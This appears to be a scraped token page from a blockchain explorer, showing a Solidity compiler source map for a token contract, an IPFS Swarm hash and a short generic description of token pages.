12832:196:0;;-1:-1:-1;;;;;12832:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12913:11;;12832:15:::1;::::0;12955:4;;12982::::1;::::0;13002:15:::1;::::0;12832:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5445:10:0;:18;;-1:-1:-1;;5445:18:0;;;-1:-1:-1;;;;12553:483:0:o;12452:93::-;12510:10;;:27;;-1:-1:-1;;;;;12510:10:0;;;;:27;;;;;12530:6;;12510:10;:27;:10;:27;12530:6;12510:10;:27;;;;;;;;;;;;;;;;;;;1949:223;2069:7;2104:12;2097:5;2089:28;;;;-1:-1:-1;;;2089:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2128:9:0;2140:5;2144:1;2140;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2299:248::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;-1:-1:-1;;2467:23:1;;;2537:2;2522:18;;;2509:32;;-1:-1:-1;2299:248:1:o;2760:388::-;2828:6;2836;2889:2;2877:9;2868:7;2864:23;2860:32;2857:52;;;2905:1;2902;2895:12;2857:52;2944:9;2931:23;2963:31;2988:5;2963:31;:::i;:::-;3013:5;-1:-1:-1;3070:2:1;3055:18;;3042:32;3083:33;3042:32;3083:33;:::i;:::-;3135:7;3125:17;;;2760:388;;;;;:::o;3153:127::-;3214:10;3209:3;3205:20;3202:1;3195:31;3245:4;3242:1;3235:15;3269:4;3266:1;3259:15;3285:416;3374:1;3411:5;3374:1;3425:270;3446:7;3436:8;3433:21;3425:270;;;3505:4;3501:1;3497:6;3493:17;3487:4;3484:27;3481:53;;;3514:18;;:::i;:::-;3564:7;3554:8;3550:22;3547:55;;;3584:16;;;;3547:55;3663:22;;;;3623:15;;;;3425:270;;;3429:3;3285:416;;;;;:::o;3706:806::-;3755:5;3785:8;3775:80;;-1:-1:-1;3826:1:1;3840:5;;3775:80;3874:4;3864:76;;-1:-1:-1;3911:1:1;3925:5;;3864:76;3956:4;3974:1;3969:59;;;;4042:1;4037:130;;;;3949:218;;3969:59;3999:1;3990:10;;4013:5;;;4037:130;4074:3;4064:8;4061:17;4058:43;;;4081:18;;:::i;:::-;-1:-1:-1;;4137:1:1;4123:16;;4152:5;;3949:218;;4251:2;4241:8;4238:16;4232:3;4226:4;4223:13;4219:36;4213:2;4203:8;4200:16;4195:2;4189:4;4186:12;4182:35;4179:77;4176:159;;;-1:-1:-1;4288:19:1;;;4320:5;;4176:159;4367:34;4392:8;4386:4;4367:34;:::i;:::-;4437:6;4433:1;4429:6;4425:19;4416:7;4413:32;4410:58;;;4448:18;;:::i;:::-;4486:20;;3706:806;-1:-1:-1;;;3706:806:1:o;4517:140::-;4575:5;4604:47;4645:4;4635:8;4631:19;4625:4;4604:47;:::i;4662:168::-;4735:9;;;4766;;4783:15;;;4777:22;;4763:37;4753:71;;4804:18;;:::i;4835:356::-;5037:2;5019:21;;;5056:18;;;5049:30;5115:34;5110:2;5095:18;;5088:62;5182:2;5167:18;;4835:356::o;6761:251::-;6831:6;6884:2;6872:9;6863:7;6859:23;6855:32;6852:52;;;6900:1;6897;6890:12;6852:52;6932:9;6926:16;6951:31;6976:5;6951:31;:::i;7938:306::-;8026:6;8034;8042;8095:2;8083:9;8074:7;8070:23;8066:32;8063:52;;;8111:1;8108;8101:12;8063:52;8140:9;8134:16;8124:26;;8190:2;8179:9;8175:18;8169:25;8159:35;;8234:2;8223:9;8219:18;8213:25;8203:35;;7938:306;;;;;:::o;8528:277::-;8595:6;8648:2;8636:9;8627:7;8623:23;8619:32;8616:52;;;8664:1;8661;8654:12;8616:52;8696:9;8690:16;8749:5;8742:13;8735:21;8728:5;8725:32;8715:60;;8771:1;8768;8761:12;10644:125;10709:9;;;10730:10;;;10727:36;;;10743:18;;:::i;11129:135::-;11168:3;11189:17;;;11186:43;;11209:18;;:::i;:::-;-1:-1:-1;11256:1:1;11245:13;;11129:135::o;11269:128::-;11336:9;;;11357:11;;;11354:37;;;11371:18;;:::i;11402:217::-;11442:1;11468;11458:132;;11512:10;11507:3;11503:20;11500:1;11493:31;11547:4;11544:1;11537:15;11575:4;11572:1;11565:15;11458:132;-1:-1:-1;11604:9:1;;11402:217::o;12514:127::-;12575:10;12570:3;12566:20;12563:1;12556:31;12606:4;12603:1;12596:15;12630:4;12627:1;12620:15;12646:980;12908:4;12956:3;12945:9;12941:19;12987:6;12976:9;12969:25;13013:2;13051:6;13046:2;13035:9;13031:18;13024:34;13094:3;13089:2;13078:9;13074:18;13067:31;13118:6;13153;13147:13;13184:6;13176;13169:22;13222:3;13211:9;13207:19;13200:26;;13261:2;13253:6;13249:15;13235:29;;13282:1;13292:195;13306:6;13303:1;13300:13;13292:195;;;13371:13;;-1:-1:-1;;;;;13367:39:1;13355:52;;13462:15;;;;13427:12;;;;13403:1;13321:9;13292:195;;;-1:-1:-1;;;;;;;13543:32:1;;;;13538:2;13523:18;;13516:60;-1:-1:-1;;;13607:3:1;13592:19;13585:35;13504:3;12646:980;-1:-1:-1;;;12646:980:1:o

Swarm Source

ipfs://e1b5451d2983822a75685876d7cb312f43c5491387feff8ceab30f093c73dee0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.